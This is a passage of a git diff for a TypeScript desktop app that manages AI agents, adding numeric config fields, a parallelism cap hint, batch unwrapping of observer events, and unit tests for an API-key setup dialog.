+++ b/desktop/src/features/agents/lib/agentConfigCore.ts
@@ -4,6 +4,18 @@ import type {
 } from "@/shared/api/types";
 import { BUZZ_AGENT_THINKING_EFFORT } from "../ui/buzzAgentConfig";
 
+/**
+ * Lifecycle status of the ACP runtime catalog query on a per-agent surface.
+ *
+ * - `loading` — query in flight; structured controls are withheld and env-var
+ *   keys are not hidden (saved values remain visible as generic rows).
+ * - `ready`   — query resolved; descriptors derived from `selectedRuntime`.
+ * - `error`   — query failed; same gate as loading: no structured controls,
+ *   keys not hidden, saved values stay visible. Distinguishable from
+ *   "runtime not capable" (which is `ready` + no selectedRuntime).
+ */
+export type RuntimeCatalogStatus = "loading" | "ready" | "error";
+
 export type AgentConfigScope =
   | "onboarding"
   | "global"
@@ -69,6 +81,13 @@ export type AgentConfigFieldDescriptor =
         | { kind: "acpConfigOption"; id: string; category: string };
       render: "control" | "deferredUntilNativeOptionsAvailable";
       value: string | null;
+    }
+  | {
+      kind: "maxOutputTokens" | "contextLimit" | "maxRounds";
+      currentPersistence: EnvVarPersistence;
+      targetApplication: { kind: "envVar"; key: string };
+      render: "control";
+      value: string | null;
     };
 
 export type AgentConfigOmission = {
@@ -76,6 +95,18 @@ export type AgentConfigOmission = {
   reason: "ownedByModelId" | "unsupportedByHarness";
 };
 
+/**
+ * A numeric tuning descriptor: one of the three env-var-backed number fields
+ * (max output tokens, context limit, max rounds).
+ *
+ * Defined here so both the field model derivation and the rendering surfaces
+ * share a single type — avoids the type being redefined in UI layers.
+ */
+export type NumericDescriptor = Extract<
+  AgentConfigFieldDescriptor,
+  { kind: "maxOutputTokens" | "contextLimit" | "maxRounds" }
+>;
+
 export type AgentConfigFieldModel = {
   fields: AgentConfigFieldDescriptor[];
   omissions: AgentConfigOmission[];
@@ -86,6 +117,51 @@ function valueFromEnv(config: GlobalAgentConfig, key: string) {
   return config.env_vars[key]?.trim() || null;
 }
 
+/**
+ * Derives the numeric descriptor set for a runtime from catalog fields.
+ *
+ * The returned descriptors drive `NumericTuningFields` on any surface that
+ * renders numeric knobs. Surfaces pass the same descriptor set to both the
+ * renderer and `structuredEnvKeys()` — one policy, no local rebuilding.
+ *
+ * Returns `[]` when `runtime` is undefined (catalog not yet settled, or the
+ * runtime has no numeric env-var fields).
+ */
+export function deriveNumericDescriptors(
+  runtime: AcpRuntimeCatalogEntry | undefined,
+): NumericDescriptor[] {
+  if (!runtime) return [];
+  const ds: NumericDescriptor[] = [];
+  if (runtime.maxTokensEnvVar) {
+    ds.push({
+      kind: "maxOutputTokens",
+      currentPersistence: { kind: "envVar", key: runtime.maxTokensEnvVar },
+      targetApplication: { kind: "envVar", key: runtime.maxTokensEnvVar },
+      render: "control",
+      value: null,
+    });
+  }
+  if (runtime.contextLimitEnvVar) {
+    ds.push({
+      kind: "contextLimit",
+      currentPersistence: { kind: "envVar", key: runtime.contextLimitEnvVar },
+      targetApplication: { kind: "envVar", key: runtime.contextLimitEnvVar },
+      render: "control",
+      value: null,
+    });
+  }
+  if (runtime.maxRoundsEnvVar) {
+    ds.push({
+      kind: "maxRounds",
+      currentPersistence: { kind: "envVar", key: runtime.maxRoundsEnvVar },
+      targetApplication: { kind: "envVar", key: runtime.maxRoundsEnvVar },
+      render: "control",
+      value: null,
+    });
+  }
+  return ds;
+}
+
 /**
  * Derives the harness-scoped field model consumed by agent config renderers.
  *
@@ -163,6 +239,16 @@ export function deriveAgentConfigFieldModel({
     });
   }
 
+  // Numeric fields — derived from the shared helper, then value-populated
+  // from config. Any surface needing only the descriptor structure (without
+  // saved values) calls deriveNumericDescriptors(runtime) directly.
+  for (const d of deriveNumericDescriptors(runtime)) {
+    fields.push({
+      ...d,
+      value: valueFromEnv(config, d.currentPersistence.key),
+    });
+  }
+
   return {
     fields,
     omissions,
@@ -191,3 +277,74 @@ export function getRenderableEffortField(
       field.kind === "effort" && field.render === "control",
   );
 }
+
+/**
+ * Returns the env-var keys owned by the rendered descriptors on a surface.
+ *
+ * Pass only the descriptors that **actually render controls** on the surface —
+ * the resulting key set should be used as `EnvVarsEditor.hiddenKeys` and to
+ * exclude keys from baked-row generic display.
+ *
+ * Invariant: a key appears in the output only when a first-class control for
+ * it renders on the surface — a persisted value must never have zero editors.
+ *
+ * Per-surface consequences (assuming standard descriptor sets):
+ * - Global: effort key + numeric keys rendered by the descriptors
+ * - Per-agent buzz-agent: effort key + 3 numeric keys
+ * - Per-agent Goose: 2 numeric keys only — Goose effort (BUZZ_AGENT_THINKING_EFFORT)
+ *   stays a visible generic env row because no effort control renders per-agent
+ *   for Goose (effort migration is out of scope)
+ */
+export function structuredEnvKeys(
+  renderedDescriptors: AgentConfigFieldDescriptor[],
+): string[] {
+  const keys: string[] = [];
+  for (const d of renderedDescriptors) {
+    if (d.render !== "control") continue;
+    if (d.kind === "effort" && d.currentPersistence.kind === "envVar") {
+      keys.push(d.currentPersistence.key);
+    } else if (
+      d.kind === "maxOutputTokens" ||
+      d.kind === "contextLimit" ||
+      d.kind === "maxRounds"
+    ) {
+      keys.push(d.currentPersistence.key);
+    }
+  }
+  return keys;
+}
+
+/**
+ * Filters a baked-env row array to exclude keys already covered by structured
+ * controls, preventing double-editing. The result is the set of baked rows
+ * that the generic env-vars editor should display.
+ *
+ * Call with the union of always-structured keys (provider/model/effort set)
+ * and numeric structured keys derived from `structuredEnvKeys()`.
+ *
+ * Pure — suitable for Node-layer unit tests without a component renderer.
+ */
+export function filterBakedGenericRows<T extends { key: string }>(
+  bakedEnv: readonly T[],
+  excludeKeys: ReadonlySet<string> | readonly string[],
+): T[] {
+  const exclude =
+    excludeKeys instanceof Set ? excludeKeys : new Set(excludeKeys);
+  return bakedEnv.filter((e) => !exclude.has(e.key));
+}
+
+/**
+ * Returns the placeholder string for a numeric tuning input.
+ *
+ * When an inherited value is present, the field shows `"Inherit (<value>)"`.
+ * When absent (no global setting), the field shows `"Inherit (agent default)"`.
+ *
+ * Pure — used by NumericTuningFields and testable without a component renderer.
+ */
+export function numericTuningPlaceholder(
+  inheritedValue: string | null | undefined,
+): string {
+  return inheritedValue
+    ? `Inherit (${inheritedValue})`
+    : "Inherit (agent default)";
+}
diff --git a/desktop/src/features/agents/lib/agentMentionComposedPath.test.mjs b/desktop/src/features/agents/lib/agentMentionComposedPath.test.mjs
deleted file mode 100644
index 4315cc2582..0000000000
--- a/desktop/src/features/agents/lib/agentMentionComposedPath.test.mjs
+++ /dev/null
@@ -1,129 +0,0 @@
-import assert from "node:assert/strict";
-import test from "node:test";
-
-import { shouldHideAgentFromMentions } from "./agentAutocompleteEligibility.ts";
-import { snapshotDraftMentionRefs } from "../../messages/lib/draftMentionRefs.ts";
-import { mentionCandidateLabel } from "../../messages/lib/mentionCandidates.ts";
-import { mapMentionCandidateToSuggestion } from "../../messages/lib/mentionSuggestionMapping.ts";
-import { messageMentionPubkeys } from "../../messages/lib/messageMentionPubkeys.ts";
-
-/**
- * The eligibility predicate is well covered on its own, which is exactly why it
- * was possible to relax it and still not know whether an agent someone else
- * manages actually becomes mentionable. Answering that means walking the whole
- * path a picked mention travels — filter, label, suggestion, draft ref, `p` tag
- * — because every stage can drop it, and only the last one is observable to the
- * agent.
- */
-const SENDER = "a".repeat(64);
-const PEER = "b".repeat(64);
-const ERP_AGENT = "e".repeat(64);
-
-const channel = (over = {}) => ({
-  channelType: "stream",
-  memberPubkeys: [SENDER, PEER],
-  participantPubkeys: [],
-  ...over,
-});
-
-const agent = (over = {}) => ({
-  kind: "identity",
-  pubkey: ERP_AGENT,
-  displayName: "erp",
-  isAgent: true,
-  isMember: true,
-  ...over,
-});
-
-/**
- * One composer round trip: would the autocomplete offer this candidate, and if
- * the author picks it and sends, which pubkeys does the event address?
- */
-function compose(
-  candidate,
-  { chan = channel(), mentionableAgentPubkeys = new Set(), typedAs } = {},
-) {
-  const hidden = shouldHideAgentFromMentions({
-    isAgent: candidate.isAgent,
-    isMember: candidate.isMember,
-    pubkey: candidate.pubkey,
-    mentionableAgentPubkeys,
-  });
-  if (hidden) return { suggested: false, pubkeys: [] };
-
-  const label = mentionCandidateLabel(candidate);
-  const suggestion = mapMentionCandidateToSuggestion({
-    candidate,
-    label,
-    channelType: chan.channelType,
-    currentPubkey: SENDER,
-  });
-  const content = `@${typedAs ?? suggestion.displayName} what is the ARR?`;
-  const refs = snapshotDraftMentionRefs(
-    content,
-    new Map([[suggestion.displayName, suggestion.pubkey]]),
-    [suggestion.displayName],
-  );
-  return {
-    suggested: true,
-    suggestion,
-    pubkeys: messageMentionPubkeys(
-      chan,
-      SENDER,
-      refs.map((ref) => ref.pubkey),
-    ),
-  };
-}
-
-test("a channel-member agent managed on another device reaches the p tag", () => {
-  // The ERP and Codex agents' state on everyone's device but the operator's:
-  // in the channel, in the relay directory, absent from the local managed list.
-  const result = compose(agent(), { mentionableAgentPubkeys: new Set() });
-
-  assert.equal(result.suggested, true);
-  assert.equal(result.suggestion.isAgent, true);
-  // Not flagged as an outsider being pulled in — it is already in the channel.
-  assert.equal(result.suggestion.notInChannel, false);
-  assert.deepEqual(result.pubkeys, [ERP_AGENT]);
-});
-
-test("an agent in nobody's channel and nobody's managed list never reaches a p tag", () => {
-  const result = compose(agent({ isMember: false }), {
-    mentionableAgentPubkeys: new Set(),
-  });
-
-  assert.equal(result.suggested, false);
-  assert.deepEqual(result.pubkeys, []);
-});
-
-test("a locally managed agent still reaches the p tag from outside the channel", () => {
-  // Unchanged behaviour: your own agent is invocable wherever you are, and the
-  // suggestion says plainly that it is not in this channel yet.
-  const result = compose(agent({ isMember: false }), {
-    mentionableAgentPubkeys: new Set([ERP_AGENT]),
-  });
-
-  assert.equal(result.suggested, true);
-  assert.equal(result.suggestion.notInChannel, true);
-  assert.deepEqual(result.pubkeys, [ERP_AGENT]);
-});
-
-test("a DM addresses its own participants, not an agent that is not in it", () => {
-  // Membership is what widened, and in a DM the member list is the two people
-  // in it — so the DM's recipients are unchanged and an uninvolved agent, which
-  // can never carry `isMember`, is filtered before it becomes a suggestion.
-  const dm = channel({ channelType: "dm" });
-
-  assert.deepEqual(compose(agent({ isMember: false }), { chan: dm }), {
-    suggested: false,
-    pubkeys: [],
-  });
-  assert.deepEqual(messageMentionPubkeys(dm, SENDER), [PEER]);
-});
-
-test("the mention survives being typed in a different case to the label", () => {
-  // The label round-trips through free text before it becomes a `p` tag, so a
-  // member agent someone types from memory rather than picking still routes.
-  const result = compose(agent({ displayName: "ERP" }), { typedAs: "erp" });
-  assert.deepEqual(result.pubkeys, [ERP_AGENT]);
-});
diff --git a/desktop/src/features/agents/lib/agentParallelism.test.mjs b/desktop/src/features/agents/lib/agentParallelism.test.mjs
new file mode 100644
index 0000000000..7f7ac3e09e
--- /dev/null
+++ b/desktop/src/features/agents/lib/agentParallelism.test.mjs
@@ -0,0 +1,56 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  DEFAULT_AGENT_PARALLELISM,
+  resolveAgentParallelism,
+  parallelismCapHint,
+} from "./agentParallelism.ts";
+
+test("parallelism uses the app default only when input and definition omit it", () => {
+  assert.equal(
+    resolveAgentParallelism(undefined, undefined),
+    DEFAULT_AGENT_PARALLELISM,
+  );
+  assert.equal(
+    resolveAgentParallelism(undefined, null),
+    DEFAULT_AGENT_PARALLELISM,
+  );
+  assert.equal(resolveAgentParallelism(undefined, 4), 4);
+  assert.equal(resolveAgentParallelism(2, 4), 2);
+});
+
+// ── parallelismCapHint: persona/instance hint data path ───────────────────────
+
+test("parallelismCapHint returns null when requested is at or below the cap", () => {
+  assert.equal(parallelismCapHint("OpenClaw", 5, 5), null);
+  assert.equal(parallelismCapHint("OpenClaw", 5, 3), null);
+  assert.equal(parallelismCapHint("OpenClaw", 5, 1), null);
+});
+
+test("parallelismCapHint returns hint string when requested exceeds cap", () => {
+  const hint = parallelismCapHint("OpenClaw", 5, 10);
+  assert.ok(hint !== null, "hint must be non-null when 10 > 5");
+  assert.ok(hint.includes("OpenClaw"), "hint must include the harness label");
+  assert.ok(hint.includes("5"), "hint must include the cap value");
+});
+
+test("parallelismCapHint uses singular form for cap of 1", () => {
+  const hint = parallelismCapHint("SomeHarness", 1, 5);
+  assert.ok(hint !== null);
+  assert.ok(
+    hint.includes("conversation") && !hint.includes("conversations"),
+    "cap=1 must use singular 'conversation'",
+  );
+});
+
+// Stored-10 OpenClaw → Goose: hint clears when the harness has no cap.
+// The UI derives: if selectedRuntime.maxParallelism is undefined, hint is null.
+// This test validates the helper contract that makes that work.
+test("parallelismCapHint returns null when cap equals or exceeds any common parallelism value", () => {
+  // Simulates an uncapped harness: the caller passes a very large cap
+  // OR simply doesn't call parallelismCapHint at all (guarded by maxParallelism check).
+  // When stored=10 and harness switches to goose (no cap), no hint is shown.
+  assert.equal(parallelismCapHint("Goose", 32, 10), null);
+  assert.equal(parallelismCapHint("Goose", 32, 32), null);
+});
diff --git a/desktop/src/features/agents/lib/agentParallelism.ts b/desktop/src/features/agents/lib/agentParallelism.ts
new file mode 100644
index 0000000000..6b13383646
--- /dev/null
+++ b/desktop/src/features/agents/lib/agentParallelism.ts
@@ -0,0 +1,39 @@
+/**
+ * Desktop-managed agents materialize this value when neither the create input
+ * nor the linked definition sets parallelism. Keep in sync with
+ * `managed_agents::DEFAULT_AGENT_PARALLELISM` in the Tauri backend.
+ */
+export const DEFAULT_AGENT_PARALLELISM = 10;
+
+export const AGENT_PARALLELISM_PLACEHOLDER = `App default (${DEFAULT_AGENT_PARALLELISM})`;
+export const AGENT_PARALLELISM_HELP = `Leave blank to use the app default (currently ${DEFAULT_AGENT_PARALLELISM}). Custom values may be 1–32.`;
+export const EDIT_AGENT_PARALLELISM_HELP =
+  "Current value for this agent. Custom values may be 1–32.";
+
+export function resolveAgentParallelism(
+  input: number | undefined,
+  definition: number | null | undefined,
+): number {
+  return input ?? definition ?? DEFAULT_AGENT_PARALLELISM;
+}
+
+/**
+ * Return an explanatory hint string when a harness cap would reduce the
+ * requested parallelism, or `null` when the value is within the cap.
+ *
+ * The hint carries both facts: what was requested and what will run, so users
+ * understand the effective value without needing to look elsewhere.
+ *
+ * @param harnessLabel - Human-readable harness name (e.g. "OpenClaw").
+ * @param cap - The harness's maximum parallelism (from catalog maxParallelism).
+ * @param requested - The user's requested parallelism value (1–32).
+ * @returns A hint string, or null when requested <= cap.
+ */
+export function parallelismCapHint(
+  harnessLabel: string,
+  cap: number,
+  requested: number,
+): string | null {
+  if (requested <= cap) return null;
+  return `${harnessLabel} runs at most ${cap} parallel conversation${cap === 1 ? "" : "s"} — this agent will run ${cap}.`;
+}
diff --git a/desktop/src/features/agents/observerRelayStore.ts b/desktop/src/features/agents/observerRelayStore.ts
index 56c69f915a..611fdd489d 100644
--- a/desktop/src/features/agents/observerRelayStore.ts
+++ b/desktop/src/features/agents/observerRelayStore.ts
@@ -338,6 +338,71 @@ export function isObserverEventAfter(
   return candidate.seq > stored.seq;
 }
 
+// Observer event kind for a batch envelope wrapping multiple events. The ACP
+// harness publishes one frame per second; everything that accumulated between
+// ticks arrives as `{ kind: "batch", payload: { events: [...] } }` with every
+// inner event carrying its own seq/timestamp. Inner events are processed
+// exactly as unbatched ones; the envelope itself is never stored.
+const OBSERVER_BATCH_KIND = "batch";
+
+// Expand a decrypted observer event into its inner events when it is a batch
+// envelope; a non-batch event passes through as a single-element array. A
+// malformed envelope (no events array) degrades to the envelope itself so a
+// harness bug cannot silently blank the session viewer.
+function unwrapObserverBatch(parsed: ObserverEvent): ObserverEvent[] {
+  if (parsed.kind !== OBSERVER_BATCH_KIND) {
+    return [parsed];
+  }
+  const payload = parsed.payload as { events?: unknown } | null;
+  const events = Array.isArray(payload?.events)
+    ? (payload.events as ObserverEvent[])
+    : null;
+  return events && events.length > 0 ? events : [parsed];
+}
+
+// Per-event processing shared by every event a live frame carries (one for a
+// plain frame, many for a batch envelope).
+function processLiveObserverEvent(agentPubkey: string, parsed: ObserverEvent) {
+  // Track the latest-live-session-id per (agent, channel) on the live path.
+  // Only set when the parsed event carries both a sessionId and channelId,
+  // so we never attribute a session to the wrong channel.
+  if (parsed.sessionId && parsed.channelId) {
+    const key = liveSessionKey(agentPubkey, parsed.channelId);
+    const stored = latestLiveSessionByAgentChannel.get(key);
+    // Advance only when this event sorts strictly AFTER the stored one via
+    // isObserverEventAfter (timestamp then seq — same ordering as
+    // compareObserverEvents). This prevents late-arriving live frames from
+    // older sessions from regressing the latest-live id, while also
+    // correctly advancing on a same-timestamp frame with a higher seq.
+    if (!stored || isObserverEventAfter(parsed, stored)) {
+      latestLiveSessionByAgentChannel.set(key, {
+        sessionId: parsed.sessionId,
+        timestamp: parsed.timestamp,
+        seq: parsed.seq,
+      });
+    }
+  }
+  appendAgentEvent(agentPubkey, parsed);
+  const managementRequest = parseAgentManagementRequest(parsed.payload);
+  if (managementRequest) {
+    for (const listener of agentManagementListeners) {
+      listener(agentPubkey, managementRequest);
+    }
+  }
+  if (parsed.kind === "session_config_captured") {
+    void putAgentSessionConfig(agentPubkey, parsed.payload);
+    onSessionConfigCaptured?.(agentPubkey);
+  } else if (parsed.kind === "control_result") {
+    dispatchControlResult(agentPubkey, parsed.payload);
+  } else if (parsed.kind === "managed_agent_runtime_lifecycle") {
+    void putManagedAgentRuntimeLifecycle(agentPubkey, parsed.payload).catch(
+      (error) => {
+        console.debug("Late/untracked lifecycle frame dropped:", error);
+      },
+    );
+  }
+}
+
 async function handleRelayObserverEvent(
   event: RelayEvent,
   activeGeneration: number,
@@ -372,43 +437,8 @@ async function handleRelayObserverEvent(
     if (activeGeneration !== generation) {
       return;
     }
-    // Track the latest-live-session-id per (agent, channel) on the live path.
-    // Only set when the parsed event carries both a sessionId and channelId,
-    // so we never attribute a session to the wrong channel.
-    if (parsed.sessionId && parsed.channelId) {
-      const key = liveSessionKey(agentPubkey, parsed.channelId);
-      const stored = latestLiveSessionByAgentChannel.get(key);
-      // Advance only when this event sorts strictly AFTER the stored one via
-      // isObserverEventAfter (timestamp then seq — same ordering as
-      // compareObserverEvents). This prevents late-arriving live frames from
-      // older sessions from regressing the latest-live id, while also
-      // correctly advancing on a same-timestamp frame with a higher seq.
-      if (!stored || isObserverEventAfter(parsed, stored)) {
-        latestLiveSessionByAgentChannel.set(key, {
-          sessionId: parsed.sessionId,
-          timestamp: parsed.timestamp,
-          seq: parsed.seq,
-        });
-      }
-    }
-    appendAgentEvent(agentPubkey, parsed);
-    const managementRequest = parseAgentManagementRequest(parsed.payload);
-    if (managementRequest) {
-      for (const listener of agentManagementListeners) {
-        listener(agentPubkey, managementRequest);
-      }
-    }
-    if (parsed.kind === "session_config_captured") {
-      void putAgentSessionConfig(agentPubkey, parsed.payload);
-      onSessionConfigCaptured?.(agentPubkey);
-    } else if (parsed.kind === "control_result") {
-      dispatchControlResult(agentPubkey, parsed.payload);
-    } else if (parsed.kind === "managed_agent_runtime_lifecycle") {
-      void putManagedAgentRuntimeLifecycle(agentPubkey, parsed.payload).catch(
-        (error) => {
-          console.debug("Late/untracked lifecycle frame dropped:", error);
-        },
-      );
+    for (const inner of unwrapObserverBatch(parsed)) {
+      processLiveObserverEvent(agentPubkey, inner);
     }
   } catch (error) {
     if (activeGeneration !== generation) {
@@ -676,20 +706,22 @@ export async function ingestArchivedObserverEvents(
     }
     try {
       const parsed = (await _decryptFn(event)) as ObserverEvent;
-      // Route archived events to the channel-scoped archive window (no cap)
-      // rather than the per-agent live-relay store (MAX_OBSERVER_EVENTS cap).
-      // Events without a channelId fall through to the live store so they
-      // remain visible in the agent's general transcript.
-      if (parsed.channelId) {
-        const added = appendArchivedChannelEvent(
-          agentPubkey,
-          parsed.channelId,
-          parsed,
-        );
-        if (added) archiveChanged = true;
-      } else {
-        // Live path already calls notifyListeners() inside appendAgentEvent.
-        appendAgentEvent(agentPubkey, parsed);
+      for (const inner of unwrapObserverBatch(parsed)) {
+        // Route archived events to the channel-scoped archive window (no cap)
+        // rather than the per-agent live-relay store (MAX_OBSERVER_EVENTS cap).
+        // Events without a channelId fall through to the live store so they
+        // remain visible in the agent's general transcript.
+        if (inner.channelId) {
+          const added = appendArchivedChannelEvent(
+            agentPubkey,
+            inner.channelId,
+            inner,
+          );
+          if (added) archiveChanged = true;
+        } else {
+          // Live path already calls notifyListeners() inside appendAgentEvent.
+          appendAgentEvent(agentPubkey, inner);
+        }
       }
     } catch {
       // Silently drop decrypt failures — same as live path error handling.
diff --git a/desktop/src/features/agents/ui/AgentCardMintDialog.test.mjs b/desktop/src/features/agents/ui/AgentCardMintDialog.test.mjs
new file mode 100644
index 0000000000..ff3efaec92
--- /dev/null
+++ b/desktop/src/features/agents/ui/AgentCardMintDialog.test.mjs
@@ -0,0 +1,257 @@
+import assert from "node:assert/strict";
+import { describe, it } from "node:test";
+
+// Tests for the key-panel visibility derivations that AgentCardMintDialog
+// imports from cardMintKeyUtils. These tests exercise the exact production
+// module — changes to any exported function will cause failures here.
+
+import {
+  isReadOnlyLayer,
+  isWritableLayer,
+  keyPanelTitle,
+  showCancelButton,
+  showKeyPanel,
+  showKeyStatusRow,
+  showReadOnlyRow,
+} from "./cardMintKeyUtils.ts";
+
+describe("cardMintKeyUtils — key panel derivations", () => {
+  // ── isWritableLayer ────────────────────────────────────────────────────────
+
+  it("isWritableLayer_none_true", () => {
+    assert.equal(isWritableLayer("none"), true);
+  });
+
+  it("isWritableLayer_global_true", () => {
+    assert.equal(isWritableLayer("global"), true);
+  });
+
+  it("isWritableLayer_agent_false", () => {
+    assert.equal(isWritableLayer("agent"), false);
+  });
+
+  it("isWritableLayer_persona_false", () => {
+    assert.equal(isWritableLayer("persona"), false);
+  });
+
+  it("isWritableLayer_process_false", () => {
+    assert.equal(isWritableLayer("process"), false);
+  });
+
+  it("isWritableLayer_undefined_false", () => {
+    // Unknown (pending/error) — don't offer a write path
+    assert.equal(isWritableLayer(undefined), false);
+  });
+
+  // ── isReadOnlyLayer ────────────────────────────────────────────────────────
+
+  it("isReadOnlyLayer_agent_true", () => {
+    assert.equal(isReadOnlyLayer("agent"), true);
+  });
+
+  it("isReadOnlyLayer_persona_true", () => {
+    assert.equal(isReadOnlyLayer("persona"), true);
+  });
+
+  it("isReadOnlyLayer_process_true", () => {
+    assert.equal(isReadOnlyLayer("process"), true);
+  });
+
+  it("isReadOnlyLayer_global_false", () => {
+    assert.equal(isReadOnlyLayer("global"), false);
+  });
+
+  it("isReadOnlyLayer_none_false", () => {
+    assert.equal(isReadOnlyLayer("none"), false);
+  });
+
+  it("isReadOnlyLayer_undefined_false", () => {
+    assert.equal(isReadOnlyLayer(undefined), false);
+  });
+
+  // ── showKeyPanel ───────────────────────────────────────────────────────────
+  // Key panel replaces the mint form ONLY for first-time setup (none) or
+  // user-initiated editing (editingKey). Read-only layers do NOT replace the
+  // mint form — they show an inline status row instead.
+
+  it("showKeyPanel_none_notEditing_shows", () => {
+    // First-time user: key not set → show setup panel
+    assert.equal(showKeyPanel("none", false), true);
+  });
+
+  it("showKeyPanel_global_notEditing_hides", () => {
+    // Normal state: key in global defaults, not editing → show mint form
+    assert.equal(showKeyPanel("global", false), false);
+  });
+
+  it("showKeyPanel_global_editing_shows", () => {
+    // User clicked Update → show the update panel
+    assert.equal(showKeyPanel("global", true), true);
+  });
+
+  it("showKeyPanel_agent_notEditing_hides", () => {
+    // Read-only layer: mint form stays visible; inline row shown instead
+    assert.equal(showKeyPanel("agent", false), false);
+  });
+
+  it("showKeyPanel_persona_notEditing_hides", () => {
+    assert.equal(showKeyPanel("persona", false), false);
+  });
+
+  it("showKeyPanel_process_notEditing_hides", () => {
+    assert.equal(showKeyPanel("process", false), false);
+  });
+
+  it("showKeyPanel_agent_editing_shows", () => {
+    // User clicked Why? on a read-only row → show the redirect panel
+    assert.equal(showKeyPanel("agent", true), true);
+  });
+
+  it("showKeyPanel_persona_editing_shows", () => {
+    assert.equal(showKeyPanel("persona", true), true);
+  });
+
+  it("showKeyPanel_process_editing_shows", () => {
+    assert.equal(showKeyPanel("process", true), true);
+  });
+
+  it("showKeyPanel_undefined_notEditing_hides", () => {
+    // Query pending/error → show mint form (fail-open, no panel claim)
+    assert.equal(showKeyPanel(undefined, false), false);
+  });
+
+  // ── showCancelButton ───────────────────────────────────────────────────────
+
+  it("showCancelButton_global_editing_shows", () => {
+    // Update mode for a global key: Cancel returns to the mint form
+    assert.equal(showCancelButton("global", true), true);
+  });
+
+  it("showCancelButton_none_editing_hides", () => {
+    // First-time setup: no cancel (no mint form to return to)
+    assert.equal(showCancelButton("none", true), false);
+  });
+
+  it("showCancelButton_global_notEditing_hides", () => {
+    assert.equal(showCancelButton("global", false), false);
+  });
+
+  it("showCancelButton_agent_editing_shows", () => {
+    // Read-only layer + user clicked Why?: Cancel returns to the mint form
+    assert.equal(showCancelButton("agent", true), true);
+  });
+
+  it("showCancelButton_persona_editing_shows", () => {
+    assert.equal(showCancelButton("persona", true), true);
+  });
+
+  it("showCancelButton_process_editing_shows", () => {
+    assert.equal(showCancelButton("process", true), true);
+  });
+
+  // ── showKeyStatusRow ───────────────────────────────────────────────────────
+
+  it("showKeyStatusRow_global_notEditing_shows", () => {
+    // Confirmed writable key: show "Using your saved OpenAI key · Update"
+    assert.equal(showKeyStatusRow("global", false), true);
+  });
+
+  it("showKeyStatusRow_global_editing_hides", () => {
+    // In update panel: status row is redundant while editing
+    assert.equal(showKeyStatusRow("global", true), false);
+  });
+
+  it("showKeyStatusRow_none_notEditing_hides", () => {
+    // No key: show setup panel, not status row
+    assert.equal(showKeyStatusRow("none", false), false);
+  });
+
+  it("showKeyStatusRow_agent_notEditing_hides", () => {
+    // Read-only layer: use showReadOnlyRow instead
+    assert.equal(showKeyStatusRow("agent", false), false);
+  });
+
+  it("showKeyStatusRow_undefined_notEditing_hides", () => {
+    // Query pending/error: do not assert key existence
+    assert.equal(showKeyStatusRow(undefined, false), false);
+  });
+
+  // ── showReadOnlyRow ────────────────────────────────────────────────────────
+  // Inline provenance row on the mint form for keys the dialog cannot update.
+
+  it("showReadOnlyRow_agent_notEditing_shows", () => {
+    assert.equal(showReadOnlyRow("agent", false), true);
+  });
+
+  it("showReadOnlyRow_persona_notEditing_shows", () => {
+    assert.equal(showReadOnlyRow("persona", false), true);
+  });
+
+  it("showReadOnlyRow_process_notEditing_shows", () => {
+    assert.equal(showReadOnlyRow("process", false), true);
+  });
+
+  it("showReadOnlyRow_agent_editing_hides", () => {
+    // User clicked Why? → redirect panel shown; row hidden
+    assert.equal(showReadOnlyRow("agent", true), false);
+  });
+
+  it("showReadOnlyRow_global_notEditing_hides", () => {
+    // Global key uses showKeyStatusRow instead
+    assert.equal(showReadOnlyRow("global", false), false);
+  });
+
+  it("showReadOnlyRow_none_hides", () => {
+    assert.equal(showReadOnlyRow("none", false), false);
+  });
+
+  it("showReadOnlyRow_undefined_hides", () => {
+    assert.equal(showReadOnlyRow(undefined, false), false);
+  });
+
+  // ── Mint-reachability invariant ────────────────────────────────────────────
+  // The mint form (and Mint button) must be reachable whenever a key resolves.
+  // showKeyPanel returns true only for setup (none) or user-initiated edit.
+
+  it("mintReachable_global_noEdit", () => {
+    assert.equal(showKeyPanel("global", false), false);
+  });
+
+  it("mintReachable_agent_noEdit", () => {
+    assert.equal(showKeyPanel("agent", false), false);
+  });
+
+  it("mintReachable_persona_noEdit", () => {
+    assert.equal(showKeyPanel("persona", false), false);
+  });
+
+  it("mintReachable_process_noEdit", () => {
+    assert.equal(showKeyPanel("process", false), false);
+  });
+
+  it("mintBlocked_none_noEdit", () => {
+    // Only when no key is set at all does the panel gate minting
+    assert.equal(showKeyPanel("none", false), true);
+  });
+
+  // ── keyPanelTitle ──────────────────────────────────────────────────────────
+
+  it("keyPanelTitle_none_firstTimeSetup", () => {
+    assert.equal(
+      keyPanelTitle("none", false),
+      "One-time setup: OpenAI API key",
+    );
+  });
+
+  it("keyPanelTitle_global_editing_update", () => {
+    assert.equal(keyPanelTitle("global", true), "Update OpenAI API key");
+  });
+
+  it("keyPanelTitle_agent_readOnly", () => {
+    assert.equal(keyPanelTitle("agent", false), "OpenAI API key");
+  });
+
+  it("keyPanelTitle_persona_readOnly", () => {
+    assert.equal(keyPanelTitle("persona", true), "OpenAI API key");
+  });
+});
diff --git a/desktop/src/features/agents/ui/AgentCardMintDialog.tsx b/desktop/src/features/agents/ui/AgentCardMintDialog.tsx
new file mode 100644
index 0000000000..b2bffc00df
--- /dev/null
+++ b/desktop/src/features/agents/ui/AgentCardMintDialog.tsx
@@ -0,0 +1,463 @@
+import * as React from "react";
+import {
+  AlertCircle,
+  Brain,
+  ExternalLink,
+  GalleryVerticalEnd,
+  KeyRound,
+  Lock,
+  Sparkles,
+} from "lucide-react";
+import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query";
+import { openUrl } from "@tauri-apps/plugin-opener";
+import { toast } from "sonner";
+
+import {
+  setCardGalleryOpen,
+  startCardMint,
+} from "@/features/agents/cardMintStore";
+import { globalAgentConfigQueryKey } from "@/features/agents/useGlobalAgentConfig";
+import {
+  cardMintKeyStatus,
+  cardMintSaveOpenaiKey,
+  type CardMintKeyLayer,
+  type SnapshotMemoryLevel,
+} from "@/shared/api/tauriPersonas";
+import { Button } from "@/shared/ui/button";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from "@/shared/ui/dialog";
+import { Input } from "@/shared/ui/input";
+import { Switch } from "@/shared/ui/switch";
+import { Textarea } from "@/shared/ui/textarea";
+import { SnapshotOptionMenu } from "./SnapshotOptionMenu";
+import {
+  isReadOnlyLayer,
+  keyPanelTitle,
+  showCancelButton,
+  showKeyPanel,
+  showKeyStatusRow,
+  showReadOnlyRow,
+} from "./cardMintKeyUtils";
+
